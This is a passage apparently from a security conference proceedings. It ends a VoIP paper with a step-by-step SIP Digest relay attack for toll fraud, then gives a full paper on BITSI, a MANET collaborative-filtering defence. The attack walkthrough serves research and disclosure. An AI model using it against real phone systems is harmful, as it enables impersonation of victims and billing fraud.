on any VoIP network (Abdelnur et al., 2007a). The major issue is that a
classical relay attack is possible by forcing a called party to issue a re-Invite
operation. Due to the novelty and severity of it, we will detail the attack in
the following:

An attacker issues a call to the victim, the victim answers it and later on,
put the attacker on hold. To address this put on hold, an accomplice of the
attacker may initiate another call. Once the attacker receives the re-INVITE
specifying the ”On hold”, he/she will request the victim to authenticate. This
last authentication may be use by the attacker to impersonate the victim at
its own proxy.

Notations:

• P is the proxy located at URL: proxy.org

• X is the attacker located at URL: attacker.lan.org

• V is the victim located at URL: victim.lan.org

• V is also registered with P under the username victim at proxy.org

• Y is the accomplice of X (it can be in fact X), but we use another
notation for clarity sake

The described attack will show how X calls a toll fraud number 1-900-
XXXX impersonating V.

1. X calls’ directly V.
”The route set MUST be set to the list of URIs in the Record-Route
header field from the request...The remote target MUST be set to
the URI from the Contact header field of the request.” RFC 3261
(Schulzrinne et al., 2002) Section 12.1.1 UAS calls



X ---------- INVITE victim.lan.org -------------> V

From : attacker at attacker.lan.org

To: victim at victim.lan.org

Contact: 1900-XXXX at proxy.org

Record-Route: attacker.lan.org

2. The normal SIP processing

X <--------------- 180 Ringing ------------------ V

X <----------------- 200 OK --------------------- V

X <--------------- Media Data ------------------> V

3. The accomplice Y steps in and invites victim V, and then the victim
decides to put X on hold

4. The victim, V, sends a re-INVITE to X (to put it on hold)
”The UAC uses the remote target and route set to build the Request-
URI and Route header field of the request.” RFC 3261 (Schulzrinne et
al., 2002) 12.2.1.1 Generating the Request (Requests within a Dialog)

X <----------- INVITE 190XXXX at proxy.org ------ V

From: victim at victim.lan.org

To : attacker at attacker.lan.org

5. X calls 1900-XXXX using the proxy P and the proxies asks X to au-
thenticate using a Digest Access Authentication with nonce=”Proxy-
Nonce-T1” and realm =”proxy.org”

6. X request the victim to authenticate the re-INVITE from step 4 using
the same Digest Access Authentication received in step 5

X ------------401/407 Authenticate -------------> V

Digest: realm ="proxy.org", nonce="Proxy-Nonce-T1"

7. In this step the victim will do the work for X (Relay Attack)



X <----------- INVITE 190XXXX at proxy.org -------- V

Digest: realm ="proxy.org", nonce="Proxy-Nonce-T1"

username= "victim",

uri="1900XXXX at proxy.org",

response="the victim computed response"

8. X may reply now to the Proxy with the valid Digest Access Authen-
tication computed by the victim. Note that the Digest itself it is a
perfectly valid one.

Conclusions and future works

The quantitative conclusions after a long term work on searching vulnerabil-
ities in the VoIP space are rather pessimistic. Feedback and support when
contacting vendors remains highly unpredictable and poor. All tested devices
have been found vulnerable. The scope of the detected vulnerabilities is very
large. Trivial input validation vulnerabilities affecting highly sensitive com-
munication materials are rather usual. More complex and protocol tracking
related ones do also exist, though their discovery and exploitation is rather
complex. The cause of these vulnerabilities is the weak software security
life-cycle of their vendors. The integration of Web and VoIP technology is
a Pandora’s box comprising even more powerful and hidden dangers. Web
specific attacks can be carried out over the SIP plane leading to potential
devastating effects, like for instance the complete compromise of an inter-
nal network. This is possible since no application specific firewall today can
easily interwork with several technologies and no proper guidelines for the
secure interworking of Web and VoIP exist. The more structural cause is
a missing VoIP specific threat model. The VOIPSA did develop a threat
model (VOIPSA) which however does not reflect the current state. Highly
efficient Denial of Service attacks can be done with single-shot packets, re-
mote eavesdropping goes beyond the simple call interception and the VoIP
plane itself can be a major security threat to the overall IT infrastructure.
Much remains to be done in the future, among which “Security Build in VoIP
devices” remains the major among them. Changes in the software develop-
ment cycles must be followed by an comprehensive security assessment and
testing. Protocol fuzzing is one essential building block in this landscape,



since no other additional approach can be used by independent security re-
search. We have described in this paper our practical and hand-on experience
in testing embedded SIP stack implementation. These tests were performed
in order to validate our research on advanced security fuzzing techniques and
the discovered vulnerabilities were properly and responsibly disclosed. Our
future work will extend it by addressing additional protocols, case studies,
implementations and formal approaches.



References

H. Abdelnur, R. State, O. Festor (2007). KiF: A stateful SIP Fuzzer.
Proceedings of Principles, Systems and Applications of IP Telecom-
munications, IPTComm, ACM Press, July, pp. 47–56, http://hal.
inria.fr/inria-00166947/en

H. Abdelnur, R. State, O. Festor (2007). Security Advisory: SQL
injection in asterisk-addons and XSS injection in WWW application
in Areski, FreePBX and Trixbox. http://voipsa.org/pipermail/

voipsec_voipsa.org/2007-October/002466.html

H. Abdelnur, R. State, O. Festor (2007). Security Advisory: SIP Di-
gest Access Authentication RELAY-ATTACK for Toll-Fraud. http://
voipsa.org/pipermail/voipsec_voipsa.org/2007-November/002475.

html

The Asterisk PBX. http://www.asterisk.org/

L. Butti and J. Tinnes (2008). Discovering and exploiting 802.11 wire-
less vulnerabilities. Journal in Computer Virology, 4 (1), pp. 25-37,
Springer Verlag.

D. Crocker (1997). Augmented BNF for Syntax Specifications: ABNF.
Standards Track, November, http://www.ietf.org/rfc/rfc2234.txt

S. Fogie and J. Grossman and R. Hansen and A. Rager and P. D. Petkov
(2007). XSS Exploits: Cross Site Scripting Attacks and Defense. Syn-
gress, ISBN 1597491543.

FreePBX. FreePBX: full-featured PBX web application. urlhttp://freepbx.org

A. B. Johnston and D. M. Piscitello (2006). Understanding Voice over
Ip Security. Artech, 2006.

D. Litchfield and C. Anley and J. Heasman and B. Grindlay (2005).
The Database Hacker’s Handbook: Defending Database Servers. John
Wiley & Sons, ISBN 0764578014.

MPack. MPack: Insight into MPACK Hacker kit. http://www.malwarehelp.
org/news/article-6268.html/



H. Schulzrinne and G. Camarillo and A. Johnston and J. Peterson
and R. Sparks and M. Handley and E. Schooler (2002). SIP: Session
Initiation Protocol. http://www.ietf.org/rfc/rfc3261.txt

M. Sutton and A. Greene and P. Amini (2007). Fuzzing: Brute Force
Vulnerability Discovery. Addison-Wesley Professional, ISBN 0321446119.

Trixbox. Trixbox: Asterisk-based IP-PBX. http://www.trixbox.com/

VOIPSA. The Voice over IP Security Alliance (VOIPSA), http://

www.voipsa.org/Activities/taxonomy.php.





One of these Things is not like the Others: Collaborative Filtering in MANETs

Katherine Hoffman, Attila Ondi, Richard Ford, Marco Carvalho*, Derek Brown, William 
Allen, Gerald Marin

Florida Institute of Technology, Institute for Human Machine Cognition*

About Author(s)

Katherine Hoffman is a Masters student at the Florida Institute of Technology

Attila Ondi is a postdoctoral researcher at the Florida Institute of Technology.

Richard Ford is the Director of the Centre for Security Sciences and an Associate Professor at the 
Florida Institute of Technology.

Marco Carvalho is a Research Scientist at the Institute for Human and Machine Cognition.

Derek Brown has graduated from Florida Tech., and now works for Microsoft.

William Allen is an Assistant Professor at the Florida Institute of Technology.

Gerald Marin is a Professor at the Florida Institute of Technology.

Contact Details: Dept. of Computer Sciences, Florida Institute of Technology, 150 W. University  
Blvd, Melbourne, FL 32901, USA
Phone: +1 321 674 7473 e-mail firstinitiallastname@fit.edu
Corresponding author is Dr. Richard Ford.

Keywords

MANETs, Malware, Artificial Immune System, Danger Theory 

mailto:firstinitiallastname@fit.edu




One of these Things is not like the Others: Collaborative Filtering in MANETs

Abstract

As more organizations grasp the tremendous benefits of Mobile Ad-hoc Networks (MANETs) in  
tactical situations such as disaster recovery or battlefields, research has begun to focus on ways to  
secure such environments.  Unfortunately, the very factors that make MANETs effective (fluidity,  
resilience, and decentralization) pose tremendous challenges for those tasked with securing such  
environments. Our prior work in the field led to the design of BITSI – the Biologically-Inspired  
Tactical Security Infrastructure. BITSI implements a simple artificial immune system based upon  
Danger  Theory.  This  approach moves  beyond  self/non-self  recognition  and  instead  focuses  on  
systemic damage in the form of deviation from mission parameters. In this paper, we briefly review 
our prior  work on BITSI and our  simulation environment,  and then present  the application of  
collaborative  filtering  techniques.  Our  results  are  encouraging,  and  show  that  collaborative  
filtering  significantly  improves  classification  error  rate  and  response  within  the  MANET  
environment. Finally, we explore the implications of the results for further work in the field, and 
describe our plans for new research.

Introduction

Internet connectivity is almost everywhere; wireless data networks and wired access points are now 
so commonplace that it is sometimes difficult to envisage a world without these features. Similar 
network  environments  are  also  extremely  common during  disaster  relief  efforts  or  on  modern 
battlefield  missions.  Such  environments  frequently  lack  any  fixed  connectivity  or  external 
infrastructure; thus, in order to leverage the benefits of connectivity, non-traditional means must be 
used.

Typically, such environments are characterized by “mobile ad hoc networks” (MANET). RFC2051 
(Corson & Macker, 1999) defines a MANET as follows:

“A  MANET  consists  of  mobile  platforms  (e.g.,  a  router  with  multiple  hosts  and  wireless  
communications  devices)--herein  simply  referred  to  as  "nodes"--which  are  free  to  move  about  
arbitrarily.  The nodes may be located in or on airplanes,  ships,  trucks,  cars,  perhaps even on 
people  or  very  small  devices,  and  there  may  be  multiple  hosts  per  router.  A  MANET  is  an 
autonomous system of mobile nodes. The system may operate in isolation, or may have gateways to  
and interface with a fixed network.”

In general, MANETs need to deal with different issues than traditional wired networks. Because 
there is no central infrastructure (and nodes must instead forward traffic collaboratively), each node 
in the network must either ask other nodes for a path to a destination on demand (reactive routing) 
or maintain a local view of the network topology for route calculation (proactive routing), which 
must  be  frequently  updated.  These  can  lead  to  issues  of  route  disruption  when  nodes  are 
accidentally or purposefully sent incorrect information about the network topology, or when critical 
nodes are disabled, even if temporarily. Furthermore, there exist a myriad of other security concerns 
in the MANET environment – for an overview, see (Sterne et al., 2005) – brought about by the lack 
of centralized management, shifting topology, and bandwidth constrictions. As such, much work is 
needed  if  MANETs  are  to  be  used  for  mission-critical  functions  in  a  potentially-hostile 
environment.

The remainder of this paper is structured as follows. We first examine threats to MANETs and prior 
work in the field of security for the MANET environment. With this understanding, we then provide 
a short overview of our Danger Theory-inspired approach to MANET security. This framework, 
known as the Biologically Inspired Tactical Security Infrastructure (BITSI), forms the basis for our 



experiments using reputation and collaborative filtering. The experiments are described in the next 
section, followed by a discussion of the results. Finally, the paper concludes with a discussion of the 
implication of these results to future work, and describes our plans for new research.

MANET Security in General

When one considers the general structure of a MANET, it quickly becomes apparent that MANET 
security issues are a superset of traditional wired security problems. Thus, in addition to traditional 
security vulnerabilities, a MANET must also contend with the following challenges:

1. In a MANET, nodes cooperate to route traffic. Any routing algorithm must contend with 
nodes that may be under an attacker’s control.

2. Bandwidth  is  locally  shared  and  often  highly-constrained  in  a  MANET.  How  can  this 
congestion be handled while simultaneously detecting nodes that are maliciously flooding 
the network or dropping traffic?

3. Battery life is often a concern for MANET designers, as roaming nodes often wish to act 
selfishly in order to conserve power. Thus, CPU cycles and wireless power management are 
extremely valuable commodities.

4. As the traffic observed by a node depends greatly on network topology, it is difficult for 
systems to learn what “good” traffic patterns look like, and what constitutes an “attack”.

5. Nodes  frequently  enter  or  leave  the  network,  causing  frequent  changes  in  network 
membership and contributing to localized changes in topology. 

6. There is no “central authority” for network monitoring and management, as the network can 
become disjoint at any time.

Amongst these issues, some of the most commonly explored themes in the literature are routing 
attacks  and  selfish  node  behaviour.  Solutions  are  broad,  ranging from additional  encryption to 
virtual currency and reputation systems. In terms of general security, IDS/IDP is more challenging 
in the MANET primarily due to the frequent changes in topology and the lack of a central authority. 

Collaboration  between  nodes  is  the  obvious  solution,  and  has  been  examined  by  many  other 
researchers. For example, Huynh, Jennings, & Shadbolt (Huyn et. al., 2004) examine different types 
of trust as a potential for improving the selection of partner agents. Similarly, Sterne et al. (2005) 
explore the benefits of creating hierarchies within the nodes for intrusion detection. 

The underlying idea is relatively simple. When a node finds another node misbehaving, it could tell 
other nodes about the problem, and then they could all avoid the problematic node. The trouble with 
these approaches is that they introduce new problems – a node could have been misidentified as 
harmful,  and  would  still  be  shunned,  or  a  malicious  node  could  lie  about  having  been  hurt, 
potentially crippling the network. The notion of trust, as distinct from reputation was introduced to 
deal with this. Trust is based on most of the same information as reputation, and introduces new 
complications,  such  as  whether  or  not  to  re-trust  nodes  that  have  previously  been  defined  as 
malicious, and if so, when to do it, as well as what to do if malicious nodes attempt to falsely accuse 
good nodes of being bad. 

An interesting exploration of these ideas is found in Buchegger & Le Boudec (2003). In this paper, 
the authors describe a system, CONFIDANT, which attempts to harden reputation systems against 
deliberate misinformation by looking for significant differences in reputation scores between actors. 
Nodes whose reputation scores for others were significantly different from the assessing node were 
considered less trustworthy.  Several others have used similar techniques – for example, Liu & 
Issarny (2004) and Zouridaki (2006).  However, this aspect of the work is not fully explored in 



(Buchegger  &  Le  Boudec,  2003),  as  the  experimental  results  are  taken  from  a  fairly  simple 
congruency metric, as opposed to the more sophisticated dynamic trust adaptation also discussed 
within the work.

As can be seen, MANETs present a difficult challenge to those who would secure them. To this end, 
we have elected to explore biology for inspiration.

AIS and Danger Theory

It is our belief that a MANET security solution must be decentralized, adaptive, and resilient to both 
failures and attacks. Because of these requirements, a biologically-inspired approach is attractive, as 
natural  systems often  display  these qualities.  In  particular,  computer  scientists  have  often  been 
tantalized by the concept of building an Artificial Immune System (AIS), which can dynamically 
detect and adapt to new threats.

 Artificial Immune Systems (AIS) have held great promise in the security field. Early work by IBM 
(Kephart et. al, 1997) and Forrest (Forrest et. al., 1996) focused on systems that could detect “non-
self” entities and respond to them. Despite a successful demonstration of the IBM system at the 
Virus Bulletin Conference in San Francisco in 1997 (Kephart et. al., 1997), commercially available 
implementations of these concepts are generally weak at best. 

Part of the challenge with the AIS model is that the human immune system seems to be far more 
complex than simple self/non-self discrimination. For example, many non-self entities are accepted 
by the body (for example, parenterally-administered drugs) without provoking an immune response. 
Clearly, there is more at work than just discriminating between the body and “everything else”.

In  order  to  address  this,  Matzinger  proposed  that  natural  immune systems  respond not  to  just 
self/non-self, but also detect danger (Matzinger, 1994). When a cell dies via natural causes, well-
regulated  biological  pathways  are  followed,  which  is  called  aptosis.  Conversely,  when  a  cell 
undergoes stress or traumatic destruction, certain danger signals are generated. This is known as 
cellular necrosis. While this theory is somewhat controversial among immuniologists (Matzinger, 
2001), the paradigm does turn out to be surprisingly helpful when constructing artificial immune 
systems.

AIS research including aspects of Danger Theory (DT) have begun to appear in the literature in the 
last few years. For example, Aikelin et al. (2003) proposed the use of DT as a missing component of 
traditional IDS/AIS systems. This early work has sparked further exploration of such metaphors; for 
example,  Sarafijanovic  &  Le  Boudec  (2004)  designed  an  AIS  tightly  linked  to  the  biological 
immune system, using Danger Theory. 

Danger Theory focuses on identifying and mitigating damage to the system. Note that in many 
cases, it is not clear if damage (for example, in the form of packet loss) is occurring simply due to 
the relative position between nodes (two nodes may share a poor link) or due to malicious activities. 
However, we note that DT is a moderator of our immune system model – only when damage is 
discovered does the system attempt to discern the underlying cause.  The following list outlines 
some common attack classes and our triggers within DT:

• To protect against denial of service attacks (resource consumption), the system checks the 
node for resource constraints, which can include CPU load, memory utilization or network 
usage.  Establishing thresholds (limits)  on the amount of resource consumed by a single 
client request without triggering a reaction would not only ensure availability of service for 
other  nodes,  but  can  also help  reserving enough resources  to  allow the  node  to  further 
advance towards general mission objectives.



• Routing attacks are searched for when the system notes that packet loss is occurring. Note 
that such packet loss can occur due to environmental conditions as well as active attack. 
When routing errors are suspected (and packet forwarding damage is detected) the system 
can begin the process of determining the likely cause of problems.

• To discover  the  presence  of  worms and viruses,  the  system should  be able  to  note  the 
creation of new processes and files, plus new outbound requests.  However, none of these 
are, at least directly, damage. Thus, from a pure DT perspective, detection will only begin if 
the worm/virus consumes too many resources or triggers outbound traffic that is deemed to 
be damaging. In our future work, our intent is  to apply a policy model to system calls, 
associating a small level of “damage” to certain call sequences (akin to behavioural virus 
detection). Using this approach, our belief is that it should be possible to use a DT model for 
remediation of the effects of malicious code. 

Of course, there are many classes of attack that would not trigger a purely-DT moderated system. 
For example, a user whose password had been compromised and then used maliciously would not 
be detected unless the attacker carried out a “damaging” action. Similarly, attacks where the damage 
is not immediately critical to the mission (such as data exfiltration) will not be detected using a 
system wholly based upon DT. As such, we argue that DT should be just one component in a larger 
system. This larger system is discussed below.

BITSI – Overview

Given the security  challenges of  the  MANET environment,  our  work has  focused  on applying 
theoretical  concepts to  real-world attacks.  In  particular,  we have begun development of  BITSI, 
which leverages different aspects of biological systems. 

The underlying architecture of BITSI is quite straightforward. Each node of the MANET has a 
BITSI agent on it. This agent resides in a local trusted component at each system and monitors the 
behaviour of the node, as well as the traffic which is forwarded on the local network. From such a 
vantage point, BITSI collaboratively works to respond to different attacks.

In terms of attacks, our vision for BITSI is one of mission enablement. That is, BITSI accepts that 
some attacks will succeed on the network, but aims to mitigate their effects sufficiently to ensure 
mission  continuity.  This  approach  is  different  from  (though  synergistic  with)  more  traditional 
remediation attempts, whose goal is to stop all attacks. 

Remediation of attack effects is another important area of study. Softer security responses move 
away from binary “go/no-go” decisions toward responses which represent more of a continuum, 
such as rate-limiting traffic or selectively blocking connections from a particular application. By 
dynamically  identifying  and  monitoring  critical  operations  and  performance  requirements  for 
specific contexts and missions, BITSI can focus on securing the core operation of the system, as 
opposed to trying to address the possibly unbounded space of all possible attacks.

The challenge with such a “live and let live” approach is that it ignores the underlying sensitivity of 
computer data. Clearly, some information in a military environment has long term value and high 
criticality; others have no long term value, but are, at the short time scale, critical (an example of 
this might be a session key for a temporary encrypted connection).  Given that this information 
could be extremely small in comparison to its importance (such as a 128-bit encryption key), it is 
very difficult to use biological techniques to prevent data exfiltration attacks, as there is no obvious 
biological analogy. However, this is not necessarily a fatal flaw in our approach; first,  it  seems 
unlikely that BITSI would be the only protective measure on a system; second, given the size of the 
problem space, a robust solution for part of the space is of value. BITSI has been designed with this 
in mind, and is capable of being integrated with other content-management/IDS tools.



One interesting issue within the DT framework is that of classification errors – specifically, where 
non-malicious  traffic  is  classified  as  bad  (“Type  I”  errors/false  positives),  and  attack  traffic  is 
classified as good (“Type II” errors/false negatives).  If  we momentarily limit  our discussion to 
damage, and use damage as the unique and reliable indicator of an attack, we could argue that an 
attack that produces no damage is not a successful attack and should not be classified as such, 
regardless of the intent of the attacker. Thus, while it would be beneficial to be able to reliably 
detect failed attacks, one can coherently argue that this is not necessary for effective protection. 

Conversely,  there  is  some  probability  Pfp that  a  legitimate  interaction  will  be  misclassified  as 
damaging. Such an occurrence could happen in a number of different scenarios. For example, a 
legitimate  request  could  cause  an  exceptional  load  on  the  server  during  the  normal  course  of 
operation. Such a load is not an indicator of an attack, though one may argue that if it should occur 
to  the  point  of  affecting  critical  services,  some  remediation  is  required  regardless  of  intent. 
Similarly, imagine a request R0 that causes a server to unload its entire cache of pre-calculated 
values. When another client issues a request R1, the server may experience very high workloads as 
these values are recalculated. Thus, from the perspective of the server, the “attack” is contained 
within R1, not R0.

This type of scenario is very difficult to detect in real time. However, we believe that a promising 
avenue  of  exploration  is  formal  “cause  and  effect”  analysis.  Statistical  causal  inference  from 
observational data has been effectively applied and demonstrated in numerous research areas and 
applications. The approach essentially consists on determining causal structures (in the form of a 
Markov equivalent  graph of  a  causal  network – see (Spirtes,  Glymour,  & Scheines,  2000),  for 
example)  that  includes  the  variables  of  interest  (critical  system  metrics).  Carefully  chosen 
conditional independence tests between variables (often represented as time-series), and pruning 
strategies provide the basis of operation of most of the algorithms available for the task, which also 
include more specific algorithms for Markov Blanket discovery.

Experimental Design and Goals

The work described in this paper is intended to demonstrate the next step beyond generic reputation 
systems in collaboration between nodes, from a Danger Theory perspective. It will show that while 
a  node alone can detect  and block attacking nodes,  collaboration between nodes can,  in  many 
circumstances, improve detection even in the face of significantly noisy data. Furthermore, if nodes 
which have certain characteristics in common collaborate, and those characteristics are related to 
their vulnerability to attack, the results will improve still more.

These tests abstract many of the characteristics of the MANET. They assume a low-mobility, tightly 
packed clique of nodes that are fully connected. We examine results for a subset of the nodes, which 
we  call  servers.  One  or  more  client  nodes  send  “bad”  messages  representing  a  resource 
consumption attack, which cripples the receiving server for a short period, causing it to drop all 
subsequent messages until the bad message is processed. The server uses BITSI and the information 
shared by nodes to decide whether to block future messages from attacking nodes. The simulation 
includes a variable percentage of false positive and false negative values, which are used in this 
decision.

One  challenge with  the  work  is  determining how to  quantify  our  results;  that  is,  how can we 
determine how “well” BITSI is functioning? In traditional IDS/IDP systems it is relatively easy to 
measure the Type I and Type II error rates. However, BITSI is not a classifier per se, so it does not 
quantify traffic in this manner. Instead, BITSI will – in the most general description – attempt to 
preserve certain properties of the macroscopic system by reconfiguring nodes to defend themselves, 
sometimes at the cost of local optimality.



In similar work (for example, routing protocols) researchers have attempted to quantify “goodput” 
in the system; that is, the amount of legitimate requests serviced under certain conditions. However, 
in a real system, this is not something that can be easily done, as there is no clear cut delineation 
between “good” and “bad” in a system that is overcommitted in terms of resource consumption.

For the purposes of this paper, consider the following types of traffic:

• A: Legitimate traffic sent by nodes

• B: Legitimate traffic serviced by nodes

• C: Malicious traffic sent by attackers

• D: Malicious traffic serviced by vulnerable nodes

• E: Malicious traffic serviced by immune nodes or lost in the network

It should be noted that when a vulnerable node services a malicious attack, it becomes unable to 
service further traffic for the duration of the current time step. Conversely, when an immune node 
services malicious traffic, the node suffers no ill consequences.

Using these traffic designations, we could argue that the “optimal” strategy is where A = B – that is, 
where all traffic sent by “good” nodes is serviced. This approach makes sense in a simple system 
where there is a clear delineation between attack packets and benign traffic. However, things are 
significantly more complex when one considers systems that  are  naturally resource constrained 
(such as a MANET). In such a system, any traffic can cause some level of damage, as servicing one 
packet  virtually  guarantees  that  some other  packet  will  not  be  serviced.  In  such  a  case,  more 
complex metrics will need to be created. However, in this paper, as we are considering simple direct 
attacks, QoS is defined as 100*B/A. Thus a QoS of 100% means all “good” traffic is serviced. This 
metric  provides  a  balance between penalizing the system for false positives  and rewarding the 
system for servicing legitimate requests.

In  order  to  test  the  effectiveness  of  BITSI,  we  examined  two  different  scenarios.  In  the  first 
scenario, we simulated a MANET network of 35 nodes, out of which 6 were assigned the role of 
servers that handled requests from the other nodes. One of the non-server nodes was assigned to be 
an attacker that only sent maliciously formed requests to the servers. Each discrete time step in the 
simulation was assumed to be enough for the servers to handle all legitimate requests received in 
that step. Three of the servers were vulnerable to the attacks, which meant that processing an attack 
packet prevented servicing of all other packets within that time step. Each non-server (client) node 
sent 4 requests to randomly-selected servers each time step. We assumed that there was no loss of 
requests in the network.

Each node in the network has a BITSI client on it.  This client, which is DT-inspired, classified 
packets based upon their impact on the system. Thus, only packets that are serviced are evaluated 
by  BITSI.  Furthermore,  we  assumed  that  this  classifier  misclassifies  “good”  packets  with 
probability Pfp and “bad” packets with probability Pfn. The BITSI agent stored the classification of 
the  last  ten  packets  received from each node.  Once  this  buffer  was  full,  the  oldest  entry  was 
replaced with the status of the most recent packet received. BITSI keeps such a buffer for each 
client encountered on the network.

Every  time  a  packet  is  serviced,  BITSI  evaluates  the  contents  of  the  buffer  to  determine  if  a 
particular client should be classified as an attacker and blocked for some time, t. 

In our prior work (Carvalho et. al. 2008), we used a SoftMax learning strategy (Sutton, 1998) where 
the index of damage was calculated by the following equation:



Equation 1: Calculation of the Damage Index

In this equation, e is the Euler’s number (~2.72), η is a learning coefficient, χbenign and χmalicious are the 
numbers of requests classified as benign and malicious,  respectively,  in the buffer,  and  τ is the 
decision threshold. If the inequality is true, the sending node is deemed to have caused definite 
damage, and some remedial action may be taken. For an examination of our previous results in this 
work, see (Carvalho et. al., 2008). In our current simulation the threshold was set to 0.5.

Once  a  node  was  identified  as  malicious,  its  “bad  reputation”  counter  local  to  the  server  was 
incremented and requests from the node were blocked for an exponential number of steps based on 
the local counter. The local “bad reputation” counter essentially served as an indicator on how many 
times the sender of the currently evaluated request tried to attack the server.

In the second simulation, we model 8 servers, each of which has different attributes. These servers 
provide service to 30 clients, of which 28 are benign. After timestep 50, the 2 attacking nodes begin 
to mix attack traffic in with their benign packets with probability p. However,  a server is only 
vulnerable to a particular attack if it has the right attributes. Thus, an attacker may attack any server, 
but only those with a particular attribute set will experience damage. 

In this system, every time damage is detected, the server increments its local opinion regarding each 
client. The server “blames” the correct attacker based upon the probability of a misclassification. 
Within this system, we introduce a new server, Snew, which has no prior knowledge of any of the 
clients. Snew then determines the “global” reputation of all clients using two different techniques. 
First, it simply averages the opinion of all the servers in the system. Second, it calculates a weighted 
average based upon the Euclidean distance in attribute space it has to each other server. Thus, it will 
weight servers that have similar attributes to it more highly than those that are highly dissimilar. 

To accommodate for randomness in the simulation (stemming from the selection of servers for 
requests), each scenario was run 50 times and the outcomes averaged.

Results

Figure  1  shows  a  plot  of  the  percentage  of  legitimate  services  handled  by  the  system  at  a 
misclassification rate of 25%, with a threshold of 0.5. This represents the work described above in 
the first scenario. In this graph, the responsiveness of the system (η) was varied from 0.1 to 1.0. As 
can be  seen,  the  system correctly  adapts  to  the  attackers  for  high values  of  η.  However  as  η 
decreases (corresponding to a more reactive system), the response to misclassifications begins to 
dominate, and the system begins to block legitimate traffic.

Figure 2 shows the reputation of the clients using both a simple and weighted average, from the 
perspective of Snew, where the underlying classifier is 100% accurate. The leftmost graph shows the 
raw reputation scores; the rightmost graph shows the difference, in units of standard deviation, of 
each node from the average reputation score.

Figure 3 shows the reputation of the clients as in Figure 2, except in this case the attackers’ traffic is 
20% bad (that is, there is a 1 in 5 chance any particular packet sent will be an attack) and the 
classifier accuracy is 20%.



Figure 1: The Quality of Service for false different values of η. Note how the system becomes too sensitive as η=0.1, 
and begins blocking benign nodes.

 
Figure 2: The weighted and average reputation of the client nodes as a function of time. Note how the attackers are 
clearly outliers from the main cluster. The same data, shown as measure of how far each node is from the mean in 
terms of the standard deviation.

Figure 3: The distance from the mean of the attacking nodes for collaborative filtering and simple averaging. In the 
left hand graph, the misclassification rate is 5%; in the right graph, the misclassification rate (that is, the 



occurrences where BITSI detects damage but is unable to determine with certainty which traffic flow caused it) is 
80%.

Discussion and Further Work

While  our  prior  research  showed promise,  it  was  sensitive  to  classification  error  rate  –  as  the 
classifier became more unreliable, the performance of the overall system declined. Furthermore, 
each node had to experience damage first hand in order to adjust its opinion of remote nodes. Thus, 
in this work, our goal was to allow nodes to learn from each other’s experience, by creating a 
reputation system.

Several researchers have tackled the reputation problem in MANETs, but in each case, there are 
significant  differences  between  their  approach  and  ours.  For  example,  there  are  systems  that 
essentially apply equal weight to each opinion (see, for example, Repantis & Kalogeraki, 2006). 
This  can make  sense  if  all  players  are  trusted,  and if  the  systems use  equivalent  methods  for 
intrusion  detection.  However,  in  a  Danger  Theory-inspired  system,  differences  in  host’s 
vulnerabilities change their view of the system. 

Another interesting approach is to consider how much another node’s view of the world is similar to 
your own (Buchegger & Le Boudec, 2003). Thus, if the opinions of Node B are very similar to 
those  of  Node  A in  general,  Node  A will  tend  to  provide  higher  weight  to  its  opinions.  This 
approach is quite interesting for a DT-inspired system, as nodes with similar vulnerabilities may 
well  have fairly similar views of global reputation. In the long term, it would be interesting to 
implement this technique using BITSI and compare results.

Our implementation is different from these previous systems as it  focuses on differences in the 
nodes themselves – that is, the greater the similarity between two nodes’ configuration, the larger 
the influence each has on the other’s reputation. As we have demonstrated in this work, a similarity 
metric based on the attributes of the nodes provides a better signal to noise ratio for defenders, and 
outperforms a simple average.

As  illustrated  in  Figure  1,  the  problem  with  a  simple  local  reputation  system  is  that  the 
measurement of “badness” is not relative – that is, when the system becomes too responsive to 
perceived  attacks,  the  system has  no  external  measure  of  badness  for  comparisons.  Thus,  as  t 
approaches infinity, all nodes are blocked. However, such fixed level approaches ignore one of the 
fundamental properties of the system: each node’s reputation is not static, but can be compared to 
that of their peers. Thus, we offer two different approaches in Figures 2 and 3. 

First, in Figure 2, we show how a system that has a perfect classifier functions. Here, only the 
attacking nodes acquire bad reputation from its peers. Given a perfect classifier, there is obviously a 
trivial  solution  to  the  problem of  detecting  attackers.  Despite  this,  the  graphs  in  Figure  2  are 
worthwhile  studying,  as  they  tell  us  something  important  about  the  system’s  macroscopic 
properties. 

Note  how  the  collaborative  filtering  approach  forces  the  most  dangerous  client  (from  the 
perspective of Snew) to have the highest negative reputation. This is reasonable, as Snew is influenced 
primarily  by  the  opinion  of  the  servers  most  like  it.  Conversely,  in  the  simple  average,  both 
attackers are closer to the mean, and would be treated identically by Snew. 

Figure 3 illustrates the real benefit of our approach. Despite the fact that attackers only attack 20% 
(on average) of the time, and the classifier is very unreliable (5% and 20% error rate, respectively) 
the node that Snew is vulnerable to is clearly an outlier. The work described above is very promising, 
but requires work in several areas. In particular, we should consider the actual knowledge of the 
network by any node and the challenge of deliberate miscommunication by attacker nodes.



In  the  former case,  the assumption of  global  knowledge is  clearly  a  bad one  for  the MANET 
environment. Even when the network is fully-connected, it is not possible to make decisions based 
upon exact knowledge of the current state of the system. In the real world, however, the situation is 
significantly worse, as the network is unlikely to be fully connected. Thus, it is imperative that 
BITSI can function with only partial knowledge.

Fortunately,  the  fragmented  nature  of  the  MANET  is  not  an  insurmountable  problem.  As 
connectivity is required between two nodes for an attack to take place, the current connected system 
can be treated as the global space. In addition, it is not clear that a global view of the network helps. 
For example, the local reputation of a misbehaving node in an isolated cluster is of more importance 
than the reputation more widely among nodes that cannot have been affected by it. Our sense is that 
local machines could identify and block damaged/malicious systems, and provide warnings to new 
nodes when the network topology changes.

The challenge of targeted attacks is a difficult one, though it is fortunately not without precedent in 
the  literature.  In  any  reputation-based  system,  if  the  number  of  attackers  is  large,  it  might  be 
possible to skew results, if attackers collaborate. In addition, any system has to be careful to avoid 
strong positive feedback, where a series of false positives can cause a cascade of negative reports 
about a node. 

In both these instances, one attractive approach is to conserve the reservoir of negative reputation 
and have nodes “own” the negative reputation they distribute. In (Clulow & Moore, 2006), a system 
is proposed where any node may revoke another’s network access… by voluntarily giving up its 
own. The work is interesting, as it provides strong defence to Byzantine attacks – an attacker can 
only use the system to remove one defender at best. Our intuition is that a modified version of this 
system, where one owns the bad reputation one distributes, could also be effective; this is left as an 
avenue for further research. 

The most general way to consider our system is that the decision to block and the duration of a 
block are function of local knowledge and group knowledge. The primary difference between a 
global reputation system and collaborative filtering is  that a collaborative approach weights the 
opinion of neighbours based upon their similarity to us. In future work, we foresee two primary 
research areas here:  the exact nature of the classifier/blocking function, and the correct way to 
handle similarity metrics.

Determining the most  effective form of  the functions used  will  require  an empirical  approach. 
